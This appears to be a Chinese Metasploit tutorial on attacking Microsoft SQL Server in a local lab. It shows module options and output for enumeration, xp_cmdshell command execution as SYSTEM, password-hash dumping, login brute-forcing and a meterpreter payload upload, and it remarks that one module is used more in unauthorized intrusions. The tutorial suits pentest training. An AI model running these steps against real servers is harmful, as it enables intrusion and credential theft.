

msf 内置关于mssql插件如下 (部分非测试mssql 插件)

```
msf exploit(multi/handler) > search mssql

Matching Modules
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```

Name	Disclosure Date	Rank	Check	Description
auxiliary/admin/mssql/mssql_enum		normal	No	Microsoft SQL Server Configuration Enumerator
auxiliary/admin/mssql/mssql_enum_domain_accounts		normal	No	Microsoft SQL Server SUSER SNAME Windows Domain Account Enumeration
auxiliary/admin/mssql/mssql_enum_domain_accounte_sqli		normal	No	Microsoft SQL Server SQL SUSER SNAME Windows Domain Account Enumeration
auxiliary/admin/mssql/mssql_enum_sql_logins		normal	No	Microsoft SQL Server SUSER SNAME SQL Logins Enumeration
auxiliary/admin/mssql/mssql_escalate_dbowner		normal	No	Microsoft SQL Server Escalate Db_Owner
auxiliary/admin/mssql/mssql_escalate_dbowner_sqli		normal	No	Microsoft SQL Server SQLi Escalate Db_Owner
auxiliary/admin/mssql/mssql_escalate_execute_as		normal	No	Microsoft SQL Server Escalate EXECUTE AS
auxiliary/admin/mssql/mssql_escalate_execute_as_sqli		normal	No	Microsoft SQL Server SQLi Escalate Execute AS
auxiliary/admin/mssql/mssql_exec		normal	No	Microsoft SQL Server xp_cmdshell Command Execution
auxiliary/admin/mssql/mssql_findandsampledta		normal	Yes	Microsoft SQL Server Find and Sample Data
auxiliary/admin/mssql/mssql_idf		normal	No	Microsoft SQL Server Interesting Data Finder
auxiliary/admin/mssql/mssql_ntlm_stealer		normal	Yes	Microsoft SQL Server NTLM Stealer
auxiliary/admin/mssql/mssql_ntlm_stealer_sqli		normal	No	Microsoft SQL Server SQLi NTLM Stealer
auxiliary/admin/mssql/mssql_sql		normal	No	Microsoft SQL Server Generic Query
auxiliary/admin/mssql/mssql_sql_file		normal	No	Microsoft SQL Server Generic Query from File
auxiliary/analyze/jtr/mssql_fast		normal	No	John the Ripper MS SQL Password Cracker (Fast Mode)
auxiliary/gather/lansweeper_collector		normal	No	Lansweeper Credential Collector
auxiliary/scanner/mssql/mssql_hashdump		normal	Yes	MSSQL Password Hashdump
auxiliary/scanner/mssql/mssql_login		normal	Yes	MSSQL Login Utility
auxiliary/scanner/mssql/mssql_ping		normal	Yes	MSSQL Ping Utility
auxiliary/scanner/mssql/mssql_schemadump		normal	Yes	MSSQL Schema Dump
auxiliary/server/capture/mssql		normal	No	Authentication Capture: MSSQL
exploit/windows/iis/msadc	1999-07-17	excellent	Yes	MS99-025 Microsoft IIS MDAC msadc.dll PDS Arbitrary Remote Command Execution
exploit/windows/mssql/lyris_listmanager_weak_pass	2006-12-08	excellent	No	Lyris ListManager MSDE Weak sa Password
exploit/windows/mssql/ms02_039_slammer	2002-07-24	good	Yes	MS02-039 Microsoft SQL Server Resolution Overflow
exploit/windows/mssql/ms02_056_hello	2002-08-05	good	Yes	MS02-056 Microsoft SQL Server Hello Overflow
exploit/windows/mssql/ms09_004_sp_replwritetovarbin	2008-12-09	good	Yes	MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption
exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli	2008-12-09	excellent	Yes	MS09-004 Microsoft SQL Server sp_replwritetovarbin Memory Corruption via SQL Injection
exploit/windows/mssql/mssql_clr_payload	1999-01-01	excellent	Yes	Microsoft SQL Server CLR Stored Procedure Payload Execution
exploit/windows/mssql/mssql_linkcrawler	2000-01-01	great	No	Microsoft SQL Server Database Link Crawling Command Execution
exploit/windows/mssql/mssql_payload	2000-05-30	excellent	Yes	Microsoft SQL Server Payload Execution
exploit/windows/mssql/mssql_payload_sqli	2000-05-30	excellent	No	Microsoft SQL Server Payload Execution via SQL Injection
post/windows/gather/credentials/mssql_local_hashdump		normal	No	Windows Gather Local SQL Server Hash Dump
post/windows/manage/mssql_local_auth_bypass		normal	No	Windows Manage Local Microsoft SQL Server Authorization Bypass

关于msf常用攻击mssql插件如下 :

1. auxiliary/admin/mssql/mssql_enum
2. auxiliary/admin/mssql/mssql_enum_sql_logins
3. auxiliary/admin/mssql/mssql_escalate_dbowner
4. auxiliary/admin/mssql/mssql_exec
5. auxiliary/admin/mssql/mssql_sql
6. auxiliary/admin/mssql/mssql_sql_file
7. auxiliary/scanner/mssql/mssql_hashdump
8. auxiliary/scanner/mssql/mssql_login
9. auxiliary/scanner/mssql/mssql_ping
10. exploit/windows/mssql/mssql_payload
11. post/windows/manage/mssql_local_auth_bypass

本地靶机测试 : x86 windows 2003 ip:192.168.1.115



1. auxiliary/admin/mssql/mssql_enum

非常详细的目标机Sql server 信息：

```
msf exploit(multi/handler) > use auxiliary/admin/mssql/mssql_enum
msf auxiliary(admin/mssql/mssql_enum) > show options

Module options (auxiliary/admin/mssql/mssql_enum):

  Name          Current Setting  Required  Description
  ----          -
  PASSWORD      123456          no        The password for the specified username
  RHOST         192.168.1.115  yes       The target address
  RPORT         1433            yes       The target port (TCP)
  TDSENCRYPTION false           yes       Use TLS/SSL for TDS data "Force Encryption"
  USERNAME      sa              no        The username to authenticate as
  USE_WINDOWS_AUTHENTIC false          yes       Use windows authentication (requires DOMAIN option set)

msf auxiliary(admin/mssql/mssql_enum) > exploit

[*] 192.168.1.115:1433 - Running MS SQL Server Enumeration...
[*] 192.168.1.115:1433 - Version:
[*] Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
[*] Oct 14 2005 00:33:37
[*] Copyright (c) 1988-2005 Microsoft Corporation
[*] Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
[*] 192.168.1.115:1433 - Configuration Parameters:
[*] 192.168.1.115:1433 - C2 Audit Mode is Not Enabled
[*] 192.168.1.115:1433 - xp_cmdshell is Not Enabled
[*] 192.168.1.115:1433 - remote access is Enabled
[*] 192.168.1.115:1433 - allow updates is Not Enabled
[*] 192.168.1.115:1433 - Database Mail XPs is Not Enabled
[*] 192.168.1.115:1433 - Ole Automation Procedures are Not Enabled
[*] 192.168.1.115:1433 - Databases on the server:
[*] 192.168.1.115:1433 - Database name:master
[*] 192.168.1.115:1433 - Database Files for master:
[*] 192.168.1.115:1433 - C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\master.mdf
[*] 192.168.1.115:1433 - C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\mastlog.ldf
[*] 192.168.1.115:1433 - Database name:tempdb
[*] 192.168.1.115:1433 - Database Files for tempdb:
[*] 192.168.1.115:1433 - C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\DATA\tempdb.mdf
```

```

[*] 192.168.1.115:1433 - Accounts with Username and Password being the same:
[*] 192.168.1.115:1433 - No Account with its password being the same as its usern
[*] 192.168.1.115:1433 - Accounts with empty password:
[*] 192.168.1.115:1433 - No Accounts with empty passwords where found.
[*] 192.168.1.115:1433 - Stored Procedures with Public Execute Permission found:
[*] 192.168.1.115:1433 - sp_replsetsyncstatus
[*] 192.168.1.115:1433 - sp_replcounters
[*] 192.168.1.115:1433 - sp_replsendtoqueue
[*] 192.168.1.115:1433 - sp_resyncexecutesql
[*] 192.168.1.115:1433 - sp_prepexecrpc
[*] 192.168.1.115:1433 - sp_repltrans
[*] 192.168.1.115:1433 - sp_xml_preparedocument
[*] 192.168.1.115:1433 - xp_qv
[*] 192.168.1.115:1433 - xp_getnetname
[*] 192.168.1.115:1433 - sp_releaseschemalock
[*] 192.168.1.115:1433 - sp_refreshview
[*] 192.168.1.115:1433 - sp_replcmds
[*] 192.168.1.115:1433 - sp_unprepare
[*] 192.168.1.115:1433 - sp_resyncprepare
[*] 192.168.1.115:1433 - sp_createorphan
[*] 192.168.1.115:1433 - xp_dirtree
[*] 192.168.1.115:1433 - sp_replwritetovarbin
[*] 192.168.1.115:1433 - sp_replsetoriginator
[*] 192.168.1.115:1433 - sp_xml_removedocument
[*] 192.168.1.115:1433 - sp_repldone
[*] 192.168.1.115:1433 - sp_reset_connection
[*] 192.168.1.115:1433 - xp_fileexist
[*] 192.168.1.115:1433 - xp_fixddrives
[*] 192.168.1.115:1433 - sp_getschemalock
[*] 192.168.1.115:1433 - sp_prepexec
[*] 192.168.1.115:1433 - xp_revokelogin
[*] 192.168.1.115:1433 - sp_resyncuniquetable
[*] 192.168.1.115:1433 - sp_replflush
[*] 192.168.1.115:1433 - sp_resyncexecute
[*] 192.168.1.115:1433 - xp_grantlogin
[*] 192.168.1.115:1433 - sp_droporphans
[*] 192.168.1.115:1433 - xp_regread
[*] 192.168.1.115:1433 - sp_getbindtoken
[*] 192.168.1.115:1433 - sp_replincrementlsn
[*] 192.168.1.115:1433 - Instances found on this server:
[*] 192.168.1.115:1433 - MSSQLSERVER

```

2.auxiliary/admin/mssql/mssql_enum_sql_logins

枚举sql logins，速度较慢，不建议使用。

```

msf auxiliary(admin/mssql/mssql_enum_sql_logins) > show options
Module options (auxiliary/admin/mssql/mssql_enum_sql_logins):
Name          Current Setting  Required  Description
-----
FuzzNum       300              yes       Number of principal_ids to fuzz.
PASSWORD      123456           no        The password for the specified username
RHOST         192.168.1.115   yes       The target address
RPORT         1433             yes       The target port (TCP)
TDS_ENCRYPTION false            yes       Use TLS/SSL for TDS data "Force Encryption"
USERNAME      sa               no        The username to authenticate as
USE_WINDOWS_AUTHENT false            yes       Use windows authentication (requires DOMAIN option set)

msf auxiliary(admin/mssql/mssql_enum_sql_logins) > exploit

[*] 192.168.1.115:1433 - Attempting to connect to the database server at 192.168.1.115:1433 as sa...
[+] 192.168.1.115:1433 - Connected.
[*] 192.168.1.115:1433 - Checking if sa has the sysadmin role...
[+] 192.168.1.115:1433 - sa is a sysadmin.
[*] 192.168.1.115:1433 - Setup to fuzz 300 SQL Server logins.
[*] 192.168.1.115:1433 - Enumerating logins...

```

3.auxiliary/admin/mssql/mssql_escalate_dbowner

发现dbowner，当sa无法得知密码的时候，或者需要其他账号提供来支撑下一步的内网渗透。

```
msf auxiliary(admin/mssql/mssql_escalate_dbowner) > show options
Module options (auxiliary/admin/mssql/mssql_escalate_dbowner):
  Name           Current Setting  Required  Description
  ----           -
  PASSWORD       123456           no        The password for the specified username
  RHOST          192.168.1.115   yes       The target address
  RPORT          1433             yes       The target port (TCP)
  TDSENCRYPTION  false            yes       Use TLS/SSL for TDS data "Force Encryption"
  USERNAME       sa                no        The username to authenticate as
  USE_WINDOWS_AUTHENT  false           yes       Use windows authentication (requires DOMAIN option set)

msf auxiliary(admin/mssql/mssql_escalate_dbowner) > exploit
[*] 192.168.1.115:1433 - Attempting to connect to the database server at 192.168.1.115:1433 as sa...
[+] 192.168.1.115:1433 - Connected.
[*] 192.168.1.115:1433 - Checking if sa has the sysadmin role...
[+] 192.168.1.115:1433 - sa has the sysadmin role, no escalation required.
[*] Auxiliary module execution completed
msf auxiliary(admin/mssql/mssql_escalate_dbowner) >
```

4.auxiliary/admin/mssql/mssql_exec

最常用模块之一，当没有激活xp_cmdshell，自动激活。并且调用执行cmd命令。权限继承Sql server。

```
msf auxiliary(admin/mssql/mssql_exec) > show options
Module options (auxiliary/admin/mssql/mssql_exec):
  Name           Current Setting  Required  Description
  ----           -
  CMD             exe.exe /c whoami no        Command to execute
  PASSWORD       123456           no        The password for the specified username
  RHOST          192.168.1.115   yes       The target address
  RPORT          1433             yes       The target port (TCP)
  TDSENCRYPTION  false            yes       Use TLS/SSL for TDS data "Force Encryption"
  USERNAME       sa                no        The username to authenticate as
  USE_WINDOWS_AUTHENT  false           yes       Use windows authentication (requires DOMAIN option set)

msf auxiliary(admin/mssql/mssql_exec) > set CMD cmd.exe /c whoami
CMD => cmd.exe /c whoami
msf auxiliary(admin/mssql/mssql_exec) > exploit
[*] 192.168.1.115:1433 - SQL Query: EXEC master..xp_cmdshell 'cmd.exe /c whoami'

output
-----
nt authority\system

[*] Auxiliary module execution completed
msf auxiliary(admin/mssql/mssql_exec) >
```

5.auxiliary/admin/mssql/mssql_sql

最常用模块之一，如果熟悉Sql server 数据库特性，以及sql语句。建议该模块，更稳定。

```

Module options (auxiliary/admin/mssql/mssql_sql):

  Name          Current Setting  Required  Description
  ----          -
  PASSWORD      123456          no       The password for the specified username
  RHOST         192.168.1.115  yes      The target address
  RPORT         1433            yes      The target port (TCP)
  SQL           select @@version no       The SQL query to execute
  TDSENCRYPTION false           yes      Use TLS/SSL for TDS data "Force Encryption"
  USERNAME      sa              no       The username to authenticate as
  USE_WINDOWS_AUTHENT false          yes      Use windows authentication (requires DOMAIN option set)

msf auxiliary(admin/mssql/mssql_sql) > exploit

[*] 192.168.1.115:1433 - SQL Query: select @@version
[*] 192.168.1.115:1433 - Row Count: 1 (Status: 16 Command: 193)

NULL
----
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
  Oct 14 2005 00:33:37
  Copyright (c) 1988-2005 Microsoft Corporation
  Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

[*] Auxiliary module execution completed
msf auxiliary(admin/mssql/mssql_sql) >

```

6.auxiliary/admin/mssql/mssql_sql_file

当需要执行多条sql语句的时候，或者非常复杂。msf本身支持执行sql文件。授权渗透应用较少，非授权应用较多的模块。

```

msf auxiliary(admin/mssql/mssql_sql_file) > show options

Module options (auxiliary/admin/mssql/mssql_sql_file):

  Name          Current Setting  Required  Description
  ----          -
  PASSWORD      123456          no       The password for the specified username
  QUERY_PREFIX  no              no       string to append each line of the file
  QUERY_SUFFIX  no              no       string to prepend each line of the file
  RHOST         192.168.1.115  yes      The target address
  RPORT         1433            yes      The target port (TCP)
  SQL_FILE      yes             yes      File containing multiple SQL queries execute (one per line)
  TDSENCRYPTION false           yes      Use TLS/SSL for TDS data "Force Encryption"
  USERNAME      sa              no       The username to authenticate as
  USE_WINDOWS_AUTHENT false          yes      Use windows authentication (requires DOMAIN option set)

msf auxiliary(admin/mssql/mssql_sql_file) > exploit
[-] Auxiliary failed: Msf::OptionValidateError The following options failed to validate: SQL_FILE.
msf auxiliary(admin/mssql/mssql_sql_file) > set sql_file /tmp/test.sql
sql_file => /tmp/test.sql
msf auxiliary(admin/mssql/mssql_sql_file) > set sql_file /tmp/test.sql
sql_file => /tmp/test.sql
msf auxiliary(admin/mssql/mssql_sql_file) > exploit

[*] 192.168.1.115:1433 - SQL Query: select @@version
[*] 192.168.1.115:1433 - Row Count: 1 (Status: 16 Command: 193)

NULL
----
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
  Oct 14 2005 00:33:37
  Copyright (c) 1988-2005 Microsoft Corporation
  Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

[*] Auxiliary module execution completed
msf auxiliary(admin/mssql/mssql_sql_file) >

```

7.auxiliary/scanner/mssql/mssql_hashdump

mssql的hash导出。如果熟悉sql语句。也可以用mssql_sql模块来执行。如图2。

```
msf auxiliary(scanner/mssql/mssql_hashdump) > show options

Module options (auxiliary/scanner/mssql/mssql_hashdump):

  Name                Current Setting  Required  Description
  ----                -
  PASSWORD             123456          no        The password for the specified username
  RHOSTS               192.168.115    yes       The target address range or CIDR identifier
  RPORT                1433           yes       The target port (TCP)
  TDSENCRYPTION        false           yes       Use TLS/SSL for TDS data "Force Encryption"
  THREADS              1              yes       The number of concurrent threads
  USERNAME             sa              no        The username to authenticate as
  USE_WINDOWS_AUTHENT  false          yes       Use windows authentication (requires DOMAIN option set)

msf auxiliary(scanner/mssql/mssql_hashdump) > exploit
[-] Auxiliary failed: Msf::OptionValidateError The following options failed to validate: RHOSTS.
msf auxiliary(scanner/mssql/mssql_hashdump) > set RHOSTS 192.168.1.115
RHOSTS => 192.168.1.115
msf auxiliary(scanner/mssql/mssql_hashdump) > exploit

[*] 192.168.1.115:1433 - Instance Name: nil
[+] 192.168.1.115:1433 - Saving mssql05 = sa:01004086ceb628aa51dd7e821560d52c6a6b5dc187421c6e8057
[*] 192.168.1.115:1433 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/mssql/mssql_hashdump) >
```

图2：

```
msf auxiliary(admin/mssql/mssql_sql) > set sql select password_hash from sys.sql_logins where name='sa'
sql => select password_hash from sys.sql_logins where name='sa'
msf auxiliary(admin/mssql/mssql_sql) > exploit

[*] 192.168.1.115:1433 - SQL Query: select password_hash from sys.sql_logins where name='sa'
[*] 192.168.1.115:1433 - Row Count: 1 (Status: 16 Command: 193)

password_hash
-----
01004086ceb628aa51dd7e821560d52c6a6b5dc187421c6e8057

[*] Auxiliary module execution completed
msf auxiliary(admin/mssql/mssql_sql) >
```

8.auxiliary/scanner/mssql/mssql_login

内网渗透中的常用模块之一，支持RHOSTS，来批量发现内网mssql主机。mssql的特性除了此种方法。还有其他方法来专门针对mssql主机发现，以后得季会提到。

```
msf auxiliary(scanner/mssql/mssql_login) > show options

Module options (auxiliary/scanner/mssql/mssql_login):

  Name                Current Setting  Required  Description
  ----                -
  BLANK_PASSWORDS     false           no        Try blank passwords for all users
  BRUTEFORCE_SPEED    5              yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS         false           no        Try each user/password couple stored in the current database
  DB_ALL_PASS          false           no        Add all passwords in the current database to the list
  DB_ALL_USERS         false           no        Add all users in the current database to the list
  PASSWORD             123456          no        A specific password to authenticate with
  PASS_FILE            no              no        File containing passwords, one per line
  RHOSTS               192.168.1.115  yes       The target address range or CIDR identifier
  RPORT                1433           yes       The target port (TCP)
  STOP_ON_SUCCESS     false           yes       Stop guessing when a credential works for a host
  TDSENCRYPTION        false           yes       Use TLS/SSL for TDS data "Force Encryption"
  THREADS              1              yes       The number of concurrent threads
  USERNAME             sa              no        A specific username to authenticate as
  USERPASS_FILE        no              no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS         false           no        Try the username as the password for all users
  USER_FILE            no              no        File containing usernames, one per line
  USE_WINDOWS_AUTHENT  false           yes       Use windows authentication (requires DOMAIN option set)
  VERBOSE              true            yes       Whether to print output for all attempts

msf auxiliary(scanner/mssql/mssql_login) > exploit

[*] 192.168.1.115:1433 - 192.168.1.115:1433 - MSSQL - Starting authentication scanner.
[!] 192.168.1.115:1433 - No active DB -- Credential data will not be saved!
[+] 192.168.1.115:1433 - 192.168.1.115:1433 - Login Successful: WORKSTATION\sa:123456
[*] 192.168.1.115:1433 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/mssql/mssql_login) >
```

9.auxiliary/scanner/mssql/mssql_ping

查询mssql实例，实战中，应用较少。信息可能不准确。

```
msf auxiliary(scanner/mssql/mssql_ping) > show info

Name: MSSQL Ping Utility
Module: auxiliary/scanner/mssql/mssql_ping
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
MC <mc@metasploit.com>

Check supported:
Yes

Basic options:
Name                Current Setting  Required  Description
----                -
PASSWORD            123456          no        The password for the specified username
RHOSTS              192.168.1.115  yes       The target address range or CIDR identifier
TDS_ENCRYPTION      false           yes       Use TLS/SSL for TDS data "Force Encryption"
THREADS             1               yes       The number of concurrent threads
USERNAME            sa              no        The username to authenticate as
USE_WINDOWS_AUTHENT false           yes       Use windows authentication (requires DOMAIN option set)

Description:
This module simply queries the MSSQL instance for information.
```

10.exploit/windows/mssql/mssql_payload

非常好的模块之一，在实战中。针对不同时间版本的系统都有着自己独特的方式来上传payload。

```
msf exploit(windows/mssql/mssql_payload) > show options

Module options (exploit/windows/mssql/mssql_payload):

Name                Current Setting  Required  Description
----                -
METHOD              cmd              yes       Which payload delivery method to use (ps, cmd, or old)
PASSWORD            123456          no        The password for the specified username
RHOST               192.168.1.115  yes       The target address
RPORT               1433            yes       The target port (TCP)
SRVHOST             0.0.0.0         yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT             8080            yes       The local port to listen on.
SSL                 false           no        Negotiate SSL for incoming connections
SSLCert             no              no        Path to a custom SSL certificate (default is randomly generated)
TDS_ENCRYPTION      false           yes       Use TLS/SSL for TDS data "Force Encryption"
URIPATH             no              no        The URI to use for this exploit (default is random)
USERNAME            sa              no        The username to authenticate as
USE_WINDOWS_AUTHENT false           yes       Use windows authentication (requires DOMAIN option set)

Payload options (windows/meterpreter/bind_tcp):

Name                Current Setting  Required  Description
----                -
EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LPORT               4444            yes       The listen port
RHOST               192.168.1.115  no        The target address

Exploit target:

Id  Name
--  ---
0   Automatic

msf exploit(windows/mssql/mssql_payload) > show targets
```

注：由于本季的靶机是 windows 2003，故参数set method old，如果本次的参数为cmd，那么payload将会失败。

```
msf exploit(windows/mssql/mssql_payload) > set method old
method => old
msf exploit(windows/mssql/mssql_payload) > exploit

[*] 192.168.1.115:1433 - Warning: This module will leave zWChFqLN.exe in the SQL Server %TEMP% directory
[*] 192.168.1.115:1433 - Writing the debug.com loader to the disk...
[*] 192.168.1.115:1433 - Converting the debug script to an executable...
[*] 192.168.1.115:1433 - Uploading the payload, please be patient...
[*] 192.168.1.115:1433 - Converting the encoded payload...
[*] 192.168.1.115:1433 - Executing the payload...
[*] Started bind TCP handler against 192.168.1.115:4444
[*] Sending stage (179779 bytes) to 192.168.1.115
[*] Meterpreter session 6 opened (45.32.10.27-175.161.165.83:0 -> 192.168.1.115:4444) at 2018-12-22 15:00:13 +0000

meterpreter > █
```

11.post/windows/manage/mssql_local_auth_bypass

post模块都属于后渗透模块，不属于本季内容。未来的系列。会主讲post类模块。

后者的话：

在内网横向渗透中，需要大量的主机发现来保证渗透的过程。而以上的插件，在内网横向或者Sql server主机发现的过程中，尤为重要。与Mysql不同的是，在Sql server的模块中，一定要注意参数的配备以及payload的组合。否则无法反弹payload。

- Micropoor